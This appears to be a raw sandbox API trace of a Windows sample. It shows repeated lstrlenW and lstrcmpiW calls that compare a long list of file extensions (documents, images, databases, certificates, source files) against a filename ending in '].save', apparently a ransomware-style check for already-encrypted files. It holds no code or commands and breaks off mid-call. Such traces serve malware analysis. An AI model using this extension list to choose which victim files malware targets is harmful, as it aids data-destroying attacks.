lstrcmpiW (lpString1=".3ds", lpString2="save") returned -1 [0157.806] lstrlenW (lpString=".3fr") returned 4 [0157.806] lstrcmpiW (lpString1=".3fr", lpString2="save") returned -1 [0157.806] lstrlenW (lpString=".3g2") returned 4 [0157.806] lstrcmpiW (lpString1=".3g2", lpString2="save") returned -1 [0157.807] lstrlenW (lpString=".3gp") returned 4 [0157.807] lstrcmpiW (lpString1=".3gp", lpString2="save") returned -1 [0157.807] lstrlenW (lpString=".7z") returned 3 [0157.807] lstrcmpiW (lpString1=".7z", lpString2="ave") returned -1 [0157.807] lstrlenW (lpString=".accda") returned 6 [0157.807] lstrcmpiW (lpString1=".accda", lpString2="].save") returned -1 [0157.807] lstrlenW (lpString=".accdb") returned 6 [0157.807] lstrcmpiW (lpString1=".accdb", lpString2="].save") returned -1 [0157.807] lstrlenW (lpString=".accdc") returned 6 [0157.807] lstrcmpiW (lpString1=".accdc", lpString2="].save") returned -1 [0157.807] lstrlenW (lpString=".accde") returned 6 [0157.807] lstrcmpiW (lpString1=".accde", lpString2="].save") returned -1 [0157.807] lstrlenW (lpString=".accdt") returned 6 [0157.807] lstrcmpiW (lpString1=".accdt", lpString2="].save") returned -1 [0157.807] lstrlenW (lpString=".accdw") returned 6 [0157.807] lstrcmpiW (lpString1=".accdw", lpString2="].save") returned -1 [0157.807] lstrlenW (lpString=".adb") returned 4 [0157.807] lstrcmpiW (lpString1=".adb", lpString2="save") returned -1 [0157.807] lstrlenW (lpString=".adp") returned 4 [0157.807] lstrcmpiW (lpString1=".adp", lpString2="save") returned -1 [0157.807] lstrlenW (lpString=".ai") returned 3 [0157.807] lstrcmpiW (lpString1=".ai", lpString2="ave") returned -1 [0157.807] lstrlenW (lpString=".ai3") returned 4 [0157.807] lstrcmpiW (lpString1=".ai3", lpString2="save") returned -1 [0157.807] lstrlenW (lpString=".ai4") returned 4 [0157.807] lstrcmpiW (lpString1=".ai4", lpString2="save") returned -1 [0157.807] lstrlenW (lpString=".ai5") returned 4 [0157.807] lstrcmpiW (lpString1=".ai5", lpString2="save") returned -1 [0157.808] lstrlenW (lpString=".ai6") returned 4 [0157.808] lstrcmpiW (lpString1=".ai6", lpString2="save") returned -1 [0157.808] lstrlenW (lpString=".ai7") returned 4 [0157.808] lstrcmpiW (lpString1=".ai7", lpString2="save") returned -1 [0157.808] lstrlenW (lpString=".ai8") returned 4 [0157.808] lstrcmpiW (lpString1=".ai8", lpString2="save") returned -1 [0157.808] lstrlenW (lpString=".anim") returned 5 [0157.808] lstrcmpiW (lpString1=".anim", lpString2=".save") returned -1 [0157.808] lstrlenW (lpString=".arw") returned 4 [0157.808] lstrcmpiW (lpString1=".arw", lpString2="save") returned -1 [0157.808] lstrlenW (lpString=".as") returned 3 [0157.808] lstrcmpiW (lpString1=".as", lpString2="ave") returned -1 [0157.808] lstrlenW (lpString=".asa") returned 4 [0157.808] lstrcmpiW (lpString1=".asa", lpString2="save") returned -1 [0157.808] lstrlenW (lpString=".asc") returned 4 [0157.808] lstrcmpiW (lpString1=".asc", lpString2="save") returned -1 [0157.808] lstrlenW (lpString=".ascx") returned 5 [0157.808] lstrcmpiW (lpString1=".ascx", lpString2=".save") returned -1 [0157.808] lstrlenW (lpString=".asm") returned 4 [0157.808] lstrcmpiW (lpString1=".asm", lpString2="save") returned -1 [0157.808] lstrlenW (lpString=".asmx") returned 5 [0157.808] lstrcmpiW (lpString1=".asmx", lpString2=".save") returned -1 [0157.808] lstrlenW (lpString=".asp") returned 4 [0157.808] lstrcmpiW (lpString1=".asp", lpString2="save") returned -1 [0157.808] lstrlenW (lpString=".aspx") returned 5 [0157.808] lstrcmpiW (lpString1=".aspx", lpString2=".save") returned -1 [0157.808] lstrlenW (lpString=".asr") returned 4 [0157.809] lstrcmpiW (lpString1=".asr", lpString2="save") returned -1 [0157.809] lstrlenW (lpString=".asx") returned 4 [0157.809] lstrcmpiW (lpString1=".asx", lpString2="save") returned -1 [0157.809] lstrlenW (lpString=".avi") returned 4 [0157.809] lstrcmpiW (lpString1=".avi", lpString2="save") returned -1 [0157.809] lstrlenW (lpString=".avs") returned 4 [0157.809] lstrcmpiW (lpString1=".avs", lpString2="save") returned -1 [0157.809] lstrlenW (lpString=".backup") returned 7 [0157.809] lstrcmpiW (lpString1=".backup", lpString2="m].save") returned -1 [0157.809] lstrlenW (lpString=".bak") returned 4 [0157.809] lstrcmpiW (lpString1=".bak", lpString2="save") returned -1 [0157.809] lstrlenW (lpString=".bay") returned 4 [0157.809] lstrcmpiW (lpString1=".bay", lpString2="save") returned -1 [0157.809] lstrlenW (lpString=".bd") returned 3 [0157.809] lstrcmpiW (lpString1=".bd", lpString2="ave") returned -1 [0157.809] lstrlenW (lpString=".bin") returned 4 [0157.809] lstrcmpiW (lpString1=".bin", lpString2="save") returned -1 [0157.809] lstrlenW (lpString=".bmp") returned 4 [0157.809] lstrcmpiW (lpString1=".bmp", lpString2="save") returned -1 [0157.809] lstrlenW (lpString=".bz2") returned 4 [0157.809] lstrcmpiW (lpString1=".bz2", lpString2="save") returned -1 [0157.809] lstrlenW (lpString=".c") returned 2 [0157.809] lstrcmpiW (lpString1=".c", lpString2="ve") returned -1 [0157.809] lstrlenW (lpString=".cdr") returned 4 [0157.809] lstrcmpiW (lpString1=".cdr", lpString2="save") returned -1 [0157.809] lstrlenW (lpString=".cer") returned 4 [0157.809] lstrcmpiW (lpString1=".cer", lpString2="save") returned -1 [0157.810] lstrlenW (lpString=".cf") returned 3 [0157.810] lstrcmpiW (lpString1=".cf", lpString2="ave") returned -1 [0157.810] lstrlenW (lpString=".cfc") returned 4 [0157.810] lstrcmpiW (lpString1=".cfc", lpString2="save") returned -1 [0157.810] lstrlenW (lpString=".cfm") returned 4 [0157.810] lstrcmpiW (lpString1=".cfm", lpString2="save") returned -1 [0157.810] lstrlenW (lpString=".cfml") returned 5 [0157.810] lstrcmpiW (lpString1=".cfml", lpString2=".save") returned -1 [0157.810] lstrlenW (lpString=".cfu") returned 4 [0157.810] lstrcmpiW (lpString1=".cfu", lpString2="save") returned -1 [0157.810] lstrlenW (lpString=".chm") returned 4 [0157.810] lstrcmpiW (lpString1=".chm", lpString2="save") returned -1 [0157.810] lstrlenW (lpString=".cin") returned 4 [0157.810] lstrcmpiW (lpString1=".cin", lpString2="save") returned -1 [0157.810] lstrlenW (lpString=".class") returned 6 [0157.810] lstrcmpiW (lpString1=".class", lpString2="].save") returned -1 [0157.810] lstrlenW (lpString=".clx") returned 4 [0157.810] lstrcmpiW (lpString1=".clx", lpString2="save") returned -1 [0157.810] lstrlenW (lpString=".config") returned 7 [0157.810] lstrcmpiW (lpString1=".config", lpString2="m].save") returned -1 [0157.810] lstrlenW (lpString=".cpp") returned 4 [0157.810] lstrcmpiW (lpString1=".cpp", lpString2="save") returned -1 [0157.810] lstrlenW (lpString=".cr2") returned 4 [0157.810] lstrcmpiW (lpString1=".cr2", lpString2="save") returned -1 [0157.810] lstrlenW (lpString=".crt") returned 4 [0157.810] lstrcmpiW (lpString1=".crt", lpString2="save") returned -1 [0157.810] lstrlenW (lpString=".crw") returned 4 [0157.810] lstrcmpiW (lpString1=".crw", lpString2="save") returned -1 [0157.810] lstrlenW (lpString=".cs") returned 3 [0157.811] lstrcmpiW (lpString1=".cs", lpString2="ave") returned -1 [0157.811] lstrlenW (lpString=".css") returned 4 [0157.811] lstrcmpiW (lpString1=".css", lpString2="save") returned -1 [0157.811] lstrlenW (lpString=".csv") returned 4 [0157.811] lstrcmpiW (lpString1=".csv", lpString2="save") returned -1 [0157.811] lstrlenW (lpString=".cub") returned 4 [0157.811] lstrcmpiW (lpString1=".cub", lpString2="save") returned -1 [0157.811] lstrlenW (lpString=".dae") returned 4 [0157.811] lstrcmpiW (lpString1=".dae", lpString2="save") returned -1 [0157.811] lstrlenW (lpString=".dat") returned 4 [0157.811] lstrcmpiW (lpString1=".dat", lpString2="save") returned -1 [0157.811] lstrlenW (lpString=".db") returned 3 [0157.811] lstrcmpiW (lpString1=".db", lpString2="ave") returned -1 [0157.811] lstrlenW (lpString=".dbf") returned 4 [0157.811] lstrcmpiW (lpString1=".dbf", lpString2="save") returned -1 [0157.811] lstrlenW (lpString=".dbx") returned 4 [0157.811] lstrcmpiW (lpString1=".dbx", lpString2="save") returned -1 [0157.811] lstrlenW (lpString=".dc3") returned 4 [0157.812] lstrcmpiW (lpString1=".dc3", lpString2="save") returned -1 [0157.812] lstrlenW (lpString=".dcm") returned 4 [0157.812] lstrcmpiW (lpString1=".dcm", lpString2="save") returned -1 [0157.812] lstrlenW (lpString=".dcr") returned 4 [0157.812] lstrcmpiW (lpString1=".dcr", lpString2="save") returned -1 [0157.812] lstrlenW (lpString=".der") returned 4 [0157.812] lstrcmpiW (lpString1=".der", lpString2="save") returned -1 [0157.812] lstrlenW (lpString=".dib") returned 4 [0157.812] lstrcmpiW (lpString1=".dib", lpString2="save") returned -1 [0157.812] lstrlenW (lpString=".dic") returned 4 [0157.812] lstrcmpiW (lpString1=".dic", lpString2="save") returned -1 [0157.812] lstrlenW (lpString=".dif") returned 4 [0157.812] lstrcmpiW (lpString1=".dif", lpString2="save") returned -1 [0157.812] lstrlenW (lpString=".divx") returned 5 [0157.812] lstrcmpiW (lpString1=".divx", lpString2=".save") returned -1 [0157.812] lstrlenW (lpString=".djvu") returned 5 [0157.812] lstrcmpiW (lpString1=".djvu", lpString2=".save") returned -1 [0157.812] lstrlenW (lpString=".dng") returned 4 [0157.812] lstrcmpiW (lpString1=".dng", lpString2="save") returned -1 [0157.812] lstrlenW (lpString=".doc") returned 4 [0157.812] lstrcmpiW (lpString1=".doc", lpString2="save") returned -1 [0157.812] lstrlenW (lpString=".docm") returned 5 [0157.813] lstrcmpiW (lpString1=".docm", lpString2=".save") returned -1 [0157.813] lstrlenW (lpString=".docx") returned 5 [0157.813] lstrcmpiW (lpString1=".docx", lpString2=".save") returned -1 [0157.813] lstrlenW (lpString=".dot") returned 4 [0157.813] lstrcmpiW (lpString1=".dot", lpString2="save") returned -1 [0157.813] lstrlenW (lpString=".dotm") returned 5 [0157.813] lstrcmpiW (lpString1=".dotm", lpString2=".save") returned -1 [0157.813] lstrlenW (lpString=".dotx") returned 5 [0157.813] lstrcmpiW (lpString1=".dotx", lpString2=".save") returned -1 [0157.813] lstrlenW (lpString=".dpx") returned 4 [0157.813] lstrcmpiW (lpString1=".dpx", lpString2="save") returned -1 [0157.813] lstrlenW (lpString=".dqy") returned 4 [0157.813] lstrcmpiW (lpString1=".dqy", lpString2="save") returned -1 [0157.813] lstrlenW (lpString=".dsn") returned 4 [0157.813] lstrcmpiW (lpString1=".dsn", lpString2="save") returned -1 [0157.813] lstrlenW (lpString=".dt") returned 3 [0157.813] lstrcmpiW (lpString1=".dt", lpString2="ave") returned -1 [0157.813] lstrlenW (lpString=".dtd") returned 4 [0157.813] lstrcmpiW (lpString1=".dtd", lpString2="save") returned -1 [0157.813] lstrlenW (lpString=".dwg") returned 4 [0157.813] lstrcmpiW (lpString1=".dwg", lpString2="save") returned -1 [0157.813] lstrlenW (lpString=".dwt") returned 4 [0157.813] lstrcmpiW (lpString1=".dwt", lpString2="save") returned -1 [0157.813] lstrlenW (lpString=".dx") returned 3 [0157.813] lstrcmpiW (lpString1=".dx", lpString2="ave") returned -1 [0157.813] lstrlenW (lpString=".dxf") returned 4 [0157.813] lstrcmpiW (lpString1=".dxf", lpString2="save") returned -1 [0157.813] lstrlenW (lpString=".edml") returned 5 [0157.813] lstrcmpiW (lpString1=".edml", lpString2=".save") returned -1 [0157.814] lstrlenW (lpString=".efd") returned 4 [0157.814] lstrcmpiW (lpString1=".efd", lpString2="save") returned -1 [0157.814] lstrlenW (lpString=".elf") returned 4 [0157.814] lstrcmpiW (lpString1=".elf", lpString2="save") returned -1 [0157.814] lstrlenW (lpString=".emf") returned 4 [0157.814] lstrcmpiW (lpString1=".emf", lpString2="save") returned -1 [0157.814] lstrlenW (lpString=".emz") returned 4 [0157.814] lstrcmpiW (lpString1=".emz", lpString2="save") returned -1 [0157.814] lstrlenW (lpString=".epf") returned 4 [0157.814] lstrcmpiW (lpString1=".epf", lpString2="save") returned -1 [0157.814] lstrlenW (lpString=".eps") returned 4 [0157.814] lstrcmpiW (lpString1=".eps", lpString2="save") returned -1 [0157.814] lstrlenW (lpString=".epsf") returned 5 [0157.814] lstrcmpiW (lpString1=".epsf", lpString2=".save") returned -1 [0157.814] lstrlenW (lpString=".epsp") returned 5 [0157.814] lstrcmpiW (lpString1=".epsp", lpString2=".save") returned -1 [0157.814] lstrlenW (lpString=".erf") returned 4 [0157.814] lstrcmpiW (lpString1=".erf", lpString2="save") returned -1 [0157.814] lstrlenW (lpString=".exr") returned 4 [0157.814] lstrcmpiW (lpString1=".exr", lpString2="save") returned -1 [0157.814] lstrlenW (lpString=".f4v") returned 4 [0157.814] lstrcmpiW (lpString1=".f4v", lpString2="save") returned -1 [0157.814] lstrlenW (lpString=".fido") returned 5 [0157.814] lstrcmpiW (lpString1=".fido", lpString2=".save") returned -1 [0157.814] lstrlenW (lpString=".flm") returned 4 [0157.814] lstrcmpiW (lpString1=".flm", lpString2="save") returned -1 [0157.814] lstrlenW (lpString=".flv") returned 4 [0157.814] lstrcmpiW (lpString1=".flv", lpString2="save") returned -1 [0157.815] lstrlenW (lpString=".frm") returned 4 [0157.815] lstrcmpiW (lpString1=".frm", lpString2="save") returned -1 [0157.815] lstrlenW (lpString=".fxg") returned 4 [0157.815] lstrcmpiW (lpString1=".fxg", lpString2="save") returned -1 [0157.815] lstrlenW (lpString=".geo") returned 4 [0157.815] lstrcmpiW (lpString1=".geo", lpString2="save") returned -1 [0157.815] lstrlenW (lpString=".gif") returned 4 [0157.815] lstrcmpiW (lpString1=".gif", lpString2="save") returned -1 [0157.815] lstrlenW (lpString=".grs") returned 4 [0157.815] lstrcmpiW (lpString1=".grs", lpString2="save") returned -1 [0157.815] lstrlenW (lpString=".gz") returned 3 [0157.815] lstrcmpiW (lpString1=".gz", lpString2="ave") returned -1 [0157.815] lstrlenW (lpString=".h") returned 2 [0157.815] lstrcmpiW (lpString1=".h", lpString2="ve") returned -1 [0157.815] lstrlenW (lpString=".hdr") returned 4 [0157.815] lstrcmpiW (lpString1=".hdr", lpString2="save") returned -1 [0157.815] lstrlenW (lpString=".hpp") returned 4 [0157.815] lstrcmpiW (lpString1=".hpp", lpString2="save") returned -1 [0157.815] lstrlenW (lpString=".hta") returned 4 [0157.815] lstrcmpiW (lpString1=".hta", lpString2="save") returned -1 [0157.815] lstrlenW (lpString=".htc") returned 4 [0157.815] lstrcmpiW (lpString1=".htc", lpString2="save") returned -1 [0157.815] lstrlenW (lpString=".htm") returned 4 [0157.815] lstrcmpiW (lpString1=".htm", lpString2="save") returned -1 [0157.815] lstrlenW (lpString=".html") returned 5 [0157.815] lstrcmpiW (lpString1=".html", lpString2=".save") returned -1 [0157.815] lstrlenW (lpString=".icb") returned 4 [0157.815] lstrcmpiW (lpString1=".icb", lpString2="save") returned -1 [0157.816] lstrlenW (lpString=".ics") returned 4 [0157.816] lstrcmpiW (lpString1=".ics", lpString2="save") returned -1 [0157.816] lstrlenW (lpString=".iff") returned 4 [0157.816] lstrcmpiW (lpString1=".iff", lpString2="save") returned -1 [0157.816] lstrlenW (lpString=".inc") returned 4 [0157.816] lstrcmpiW (lpString1=".inc", lpString2="save") returned -1 [0157.816] lstrlenW (lpString=".indd") returned 5 [0157.816] lstrcmpiW (lpString1=".indd", lpString2=".save") returned -1 [0157.816] lstrlenW (lpString=".ini") returned 4 [0157.816] lstrcmpiW (lpString1=".ini", lpString2="save") returned -1 [0157.816] lstrlenW (lpString=".iqy") returned 4 [0157.816] lstrcmpiW (lpString1=".iqy", lpString2="save") returned -1 [0157.816] lstrlenW (lpString=".j2c") returned 4 [0157.816] lstrcmpiW (lpString1=".j2c", lpString2="save") returned -1 [0157.816] lstrlenW (lpString=".j2k") returned 4 [0157.816] lstrcmpiW (lpString1=".j2k", lpString2="save") returned -1 [0157.816] lstrlenW (lpString=".java") returned 5 [0157.816] lstrcmpiW (lpString1=".java", lpString2=".save") returned -1 [0157.816] lstrlenW (lpString=".jp2") returned 4 [0157.816] lstrcmpiW (lpString1=".jp2", lpString2="save") returned -1 [0157.816] lstrlenW (lpString=".jpc") returned 4 [0157.816] lstrcmpiW (lpString1=".jpc", lpString2="save") returned -1 [0157.816] lstrlenW (lpString=".jpe") returned 4 [0157.816] lstrcmpiW (lpString1=".jpe", lpString2="save") returned -1 [0157.816] lstrlenW (lpString=".jpeg") returned 5 [0157.816] lstrcmpiW (lpString1=".jpeg", lpString2=".save") returned -1 [0157.816] lstrlenW (lpString=".jpf") returned 4 [0157.816] lstrcmpiW (lpString1=".jpf", lpString2="save") returned -1 [0157.817] lstrlenW (lpString=".jpg") returned 4 [0157.817] lstrcmpiW (lpString1=".jpg", lpString2="save") returned -1 [0157.817] lstrlenW (lpString=".jpx") returned 4 [0157.817] lstrcmpiW (lpString1=".jpx", lpString2="save") returned -1 [0157.817] lstrlenW (lpString=".js") returned 3 [0157.817] lstrcmpiW (lpString1=".js", lpString2="ave") returned -1 [0157.817] lstrlenW (lpString=".jsf") returned 4 [0157.817] lstrcmpiW (lpString1=".jsf", lpString2="save") returned -1 [0157.817] lstrlenW (lpString=".json") returned 5 [0157.817] lstrcmpiW (lpString1=".json", lpString2=".save") returned -1 [0157.817] lstrlenW (lpString=".jsp") returned 4 [0157.817] lstrcmpiW (lpString1=".jsp", lpString2="save") returned -1 [0157.817] lstrlenW (lpString=".kdc") returned 4 [0157.817] lstrcmpiW (lpString1=".kdc", lpString2="save") returned -1 [0157.817] lstrlenW (lpString=".kmz") returned 4 [0157.817] lstrcmpiW (lpString1=".kmz", lpString2="save") returned -1 [0157.817] lstrlenW (lpString=".kwm") returned 4 [0157.817] lstrcmpiW (lpString1=".kwm", lpString2="save") returned -1 [0157.817] lstrlenW (lpString=".lasso") returned 6 [0157.817] lstrcmpiW (lpString1=".lasso", lpString2="].save") returned -1 [0157.817] lstrlenW (lpString=".lbi") returned 4 [0157.817] lstrcmpiW (lpString1=".lbi", lpString2="save") returned -1 [0157.817] lstrlenW (lpString=".lgf") returned 4 [0157.817] lstrcmpiW (lpString1=".lgf", lpString2="save") returned -1 [0157.817] lstrlenW (lpString=".lgp") returned 4 [0157.817] lstrcmpiW (lpString1=".lgp", lpString2="save") returned -1 [0157.817] lstrlenW (lpString=".log") returned 4 [0157.817] lstrcmpiW (lpString1=".log", lpString2="save") returned -1 [0157.817] lstrlenW (lpString=".m1v") returned 4 [0157.817] lstrcmpiW (lpString1=".m1v", lpString2="save") returned -1 [0157.818] lstrlenW (lpString=".m4a") returned 4 [0157.818] lstrcmpiW (lpString1=".m4a", lpString2="save") returned -1 [0157.818] lstrlenW (lpString=".m4v") returned 4 [0157.818] lstrcmpiW (lpString1=".m4v", lpString2="save") returned -1 [0157.818] lstrlenW (lpString=".max") returned 4 [0157.818] lstrcmpiW (lpString1=".max", lpString2="save") returned -1 [0157.818] lstrlenW (lpString=".md") returned 3 [0157.818] lstrcmpiW (lpString1=".md", lpString2="ave") returned -1 [0157.818] lstrlenW (lpString=".mda") returned 4 [0157.818] lstrcmpiW (lpString1=".mda", lpString2="save") returned -1 [0157.818] lstrlenW (lpString=".mdb") returned 4 [0157.818] lstrcmpiW (lpString1=".mdb", lpString2="save") returned -1 [0157.818] lstrlenW (lpString=".mde") returned 4 [0157.818] lstrcmpiW (lpString1=".mde", lpString2="save") returned -1 [0157.818] lstrlenW (lpString=".mdf") returned 4 [0157.818] lstrcmpiW (lpString1=".mdf", lpString2="save") returned -1 [0157.818] lstrlenW (lpString=".mdw") returned 4 [0157.818] lstrcmpiW (lpString1=".mdw", lpString2="save") returned -1 [0157.818] lstrlenW (lpString=".mef") returned 4 [0157.818] lstrcmpiW (lpString1=".mef", lpString2="save") returned -1 [0157.818] lstrlenW (lpString=".mft") returned 4 [0157.818] lstrcmpiW (lpString1=".mft", lpString2="save") returned -1 [0157.818] lstrlenW (lpString=".mfw") returned 4 [0157.818] lstrcmpiW (lpString1=".mfw", lpString2="save") returned -1 [0157.818] lstrlenW (lpString=".mht") returned 4 [0157.818] lstrcmpiW (lpString1=".mht", lpString2="save") returned -1 [0157.818] lstrlenW (lpString=".mhtml") returned 6 [0157.818] lstrcmpiW (lpString1=".mhtml", lpString2="].save") returned -1 [0157.819] lstrlenW (lpString=".mka") returned 4 [0157.819] lstrcmpiW (lpString1=".mka", lpString2="save") returned -1 [0157.819] lstrlenW (lpString=".mkidx") returned 6 [0157.819] lstrcmpiW (lpString1=".mkidx", lpString2="].save") returned -1 [0157.819] lstrlenW (lpString=".mkv") returned 4 [0157.819] lstrcmpiW (lpString1=".mkv", lpString2="save") returned -1 [0157.819] lstrlenW (lpString=".mos") returned 4 [0157.819] lstrcmpiW (lpString1=".mos", lpString2="save") returned -1 [0157.819] lstrlenW (lpString=".mov") returned 4 [0157.819] lstrcmpiW (lpString1=".mov", lpString2="save") returned -1 [0157.819] lstrlenW (lpString=".mp3") returned 4 [0157.819] lstrcmpiW (lpString1=".mp3", lpString2="save") returned -1 [0157.819] lstrlenW (lpString=".mp4") returned 4 [0157.819] lstrcmpiW (lpString1=".mp4", lpString2="save") returned -1 [0157.819] lstrlenW (lpString=".mpeg") returned 5 [0157.819] lstrcmpiW (lpString1=".mpeg", lpString2=".save") returned -1 [0157.819] lstrlenW (lpString=".mpg") returned 4 [0157.819] lstrcmpiW (lpString1=".mpg", lpString2="save") returned -1 [0157.819] lstrlenW (lpString=".mpv") returned 4 [0157.819] lstrcmpiW (lpString1=".mpv", lpString2="save") returned -1 [0157.819] lstrlenW (lpString=".mrw") returned 4 [0157.819] lstrcmpiW (lpString1=".mrw", lpString2="save") returned -1 [0157.819] lstrlenW (lpString=".msg") returned 4 [0157.819] lstrcmpiW (lpString1=".msg", lpString2="save") returned -1 [0157.819] lstrlenW (lpString=".mxl") returned 4 [0157.819] lstrcmpiW (lpString1=".mxl", lpString2="save") returned -1 [0157.819] lstrlenW (lpString=".myd") returned 4 [0157.819] lstrcmpiW (lpString1=".myd", lpString2="save") returned -1 [0157.819] lstrlenW (lpString=".myi") returned 4 [0157.820] lstrcmpiW (lpString1=".myi", lpString2="save") returned -1 [0157.820] lstrlenW (lpString=".nef") returned 4 [0157.820] lstrcmpiW (lpString1=".nef", lpString2="save") returned -1 [0157.820] lstrlenW (lpString=".nrw") returned 4 [0157.820] lstrcmpiW (lpString1=".nrw", lpString2="save") returned -1 [0157.820] lstrlenW (lpString=".obj") returned 4 [0157.820] lstrcmpiW (lpString1=".obj", lpString2="save") returned -1 [0157.820] lstrlenW (lpString=".odb") returned 4 [0157.820] lstrcmpiW (lpString1=".odb", lpString2="save") returned -1 [0157.820] lstrlenW (lpString=".odc") returned 4 [0157.820] lstrcmpiW (lpString1=".odc", lpString2="save") returned -1 [0157.820] lstrlenW (lpString=".odm") returned 4 [0157.820] lstrcmpiW (lpString1=".odm", lpString2="save") returned -1 [0157.820] lstrlenW (lpString=".odp") returned 4 [0157.820] lstrcmpiW (lpString1=".odp", lpString2="save") returned -1 [0157.820] lstrlenW (lpString=".ods") returned 4 [0157.820] lstrcmpiW (lpString1=".ods", lpString2="save") returned -1 [0157.820] lstrlenW (lpString=".oft") returned 4 [0157.820] lstrcmpiW (lpString1=".oft", lpString2="save") returned -1 [0157.820] lstrlenW (lpString=".one") returned 4 [0157.820] lstrcmpiW (lpString1=".one", lpString2="save") returned -1 [0157.820] lstrlenW (lpString=".onepkg") returned 7 [0157.820] lstrcmpiW (lpString1=".onepkg", lpString2="m].save") returned -1 [0157.820] lstrlenW (lpString=".onetoc2") returned 8 [0157.820] lstrcmpiW (lpString1=".onetoc2", lpString2="om].save") returned -1 [0157.820] lstrlenW (lpString=".opt") returned 4 [0157.820] lstrcmpiW (lpString1=".opt", lpString2="save") returned -1 [0157.820] lstrlenW (lpString=".oqy") returned 4 [0157.821] lstrcmpiW (lpString1=".oqy", lpString2="save") returned -1 [0157.821] lstrlenW (lpString=".orf") returned 4 [0157.821] lstrcmpiW (lpString1=".orf", lpString2="save") returned -1 [0157.821] lstrlenW (lpString=".p12") returned 4 [0157.821] lstrcmpiW (lpString1=".p12", lpString2="save") returned -1 [0157.821] lstrlenW (lpString=".p7b") returned 4 [0157.821] lstrcmpiW (lpString1=".p7b", lpString2="save") returned -1 [0157.821] lstrlenW (lpString=".p7c") returned 4 [0157.821] lstrcmpiW (lpString1=".p7c", lpString2="save") returned -1 [0157.821] lstrlenW (lpString=".pam") returned 4 [0157.821] lstrcmpiW (lpString1=".pam", lpString2="save") returned -1 [0157.821] lstrlenW (lpString=".pbm") returned 4 [0157.821] lstrcmpiW (lpString1=".pbm", lpString2="save") returned -1 [0157.821] lstrlenW (lpString=".pct") returned 4 [0157.821] lstrcmpiW (lpString1=".pct", lpString2="save") returned -1 [0157.821] lstrlenW (lpString=".pcx") returned 4 [0157.821] lstrcmpiW (lpString1=".pcx", lpString2="save") returned -1 [0157.821] lstrlenW (lpString=".pdd") returned 4 [0157.821] lstrcmpiW (lpString1=".pdd", lpString2="save") returned -1 [0157.821] lstrlenW (lpString=".pdf") returned 4 [0157.821] lstrcmpiW (lpString1=".pdf", lpString2="save") returned -1 [0157.821] lstrlenW (lpString=".pdp") returned 4 [0157.821] lstrcmpiW (lpString1=".pdp", lpString2="save") returned -1 [0157.821] lstrlenW (lpString=".pef") returned 4 [0157.821] lstrcmpiW (lpString1=".pef", lpString2="save") returned -1 [0157.821] lstrlenW (lpString=".pem") returned 4 [0157.821] lstrcmpiW (lpString1=".pem", lpString2="save") returned -1 [0157.821] lstrlenW (lpString=".pff") returned 4 [0157.821] lstrcmpiW (lpString1=".pff", lpString2="save") returned -1 [0157.821] lstrlenW (lpString=".pfm") returned 4 [0157.821] lstrcmpiW (lpString1=".pfm", lpString2="save") returned -1 [0157.821] lstrlenW (lpString=".pfx") returned 4 [0157.821] lstrcmpiW (lpString1=".pfx", lpString2="save") returned -1 [0157.822] lstrlenW (lpString=".pgm") returned 4 [0157.822] lstrcmpiW (lpString1=".pgm", lpString2="save") returned -1 [0157.822] lstrlenW (lpString=".php") returned 4 [0157.822] lstrcmpiW (lpString1=".php", lpString2="save") returned -1 [0157.822] lstrlenW (lpString=".php3") returned 5 [0157.822] lstrcmpiW (lpString1=".php3", lpString2=".save") returned -1 [0157.822] lstrlenW (lpString=".php4") returned 5 [0157.822] lstrcmpiW (lpString1=".php4", lpString2=".save") returned -1 [0157.822] lstrlenW (lpString=".php5") returned 5 [0157.822] lstrcmpiW (lpString1=".php5", lpString2=".save") returned -1 [0157.822] lstrlenW (lpString=".phtml") returned 6 [0157.822] lstrcmpiW (lpString1=".phtml", lpString2="].save") returned -1 [0157.822] lstrlenW (lpString=".pict") returned 5 [0157.822] lstrcmpiW (lpString1=".pict", lpString2=".save") returned -1 [0157.822] lstrlenW (lpString=".pl") returned 3 [0157.822] lstrcmpiW (lpString1=".pl", lpString2="ave") returned -1 [0157.822] lstrlenW (lpString=".pls") returned 4 [0157.822] lstrcmpiW (lpString1=".pls", lpString2="save") returned -1 [0157.822] lstrlenW (lpString=".pm") returned 3 [0157.822] lstrcmpiW (lpString1=".pm", lpString2="ave") returned -1 [0157.822] lstrlenW (lpString=".png") returned 4 [0157.822] lstrcmpiW (lpString1=".png", lpString2="save") returned -1 [0157.822] lstrlenW (lpString=".pnm") returned 4 [0157.822] lstrcmpiW (lpString1=".pnm", lpString2="save") returned -1 [0157.822] lstrlenW (lpString=".pot") returned 4 [0157.822] lstrcmpiW (lpString1=".pot", lpString2="save") returned -1 [0157.822] lstrlenW (lpString=".potm") returned 5 [0157.822] lstrcmpiW (lpString1=".potm", lpString2=".save") returned -1 [0157.822] lstrlenW (lpString=".potx") returned 5 [0157.822] lstrcmpiW (lpString1=".potx", lpString2=".save") returned -1 [0157.822] lstrlenW (lpString=".ppa") returned 4 [0157.822] lstrcmpiW (lpString1=".ppa", lpString2="save") returned -1 [0157.823] lstrlenW (lpString=".ppam") returned 5 [0157.823] lstrcmpiW (lpString1=".ppam", lpString2=".save") returned -1 [0157.823] lstrlenW (lpString=".ppm") returned 4 [0157.823] lstrcmpiW (lpString1=".ppm", lpString2="save") returned -1 [0157.823] lstrlenW (lpString=".pps") returned 4 [0157.823] lstrcmpiW (lpString1=".pps", lpString2="save") returned -1 [0157.823] lstrlenW (lpString=".ppsm") returned 5 [0157.823] lstrcmpiW (lpString1=".ppsm", lpString2=".save") returned -1 [0157.823] lstrlenW (lpString=".ppt") returned 4 [0157.823] lstrcmpiW (lpString1=".ppt", lpString2="save") returned -1 [0157.823] lstrlenW (lpString=".pptm") returned 5 [0157.823] lstrcmpiW (lpString1=".pptm", lpString2=".save") returned -1 [0157.823] lstrlenW (lpString=".pptx") returned 5 [0157.823] lstrcmpiW (lpString1=".pptx", lpString2=".save") returned -1 [0157.823] lstrlenW (lpString=".prn") returned 4 [0157.823] lstrcmpiW (lpString1=".prn", lpString2="save") returned -1 [0157.823] lstrlenW (lpString=".ps") returned 3 [0157.823] lstrcmpiW (lpString1=".ps", lpString2="ave") returned -1 [0157.823] lstrlenW (lpString=".psb") returned 4 [0157.823] lstrcmpiW (lpString1=".psb", lpString2="save") returned -1 [0157.823] lstrlenW (lpString=".psd") returned 4 [0157.823] lstrcmpiW (lpString1=".psd", lpString2="save") returned -1 [0157.823] lstrlenW (lpString=".pst") returned 4 [0157.823] lstrcmpiW (lpString1=".pst", lpString2="save") returned -1 [0157.823] lstrlenW (lpString=".ptx") returned 4 [0157.823] lstrcmpiW (lpString1=".ptx", lpString2="save") returned -1 [0157.823] lstrlenW 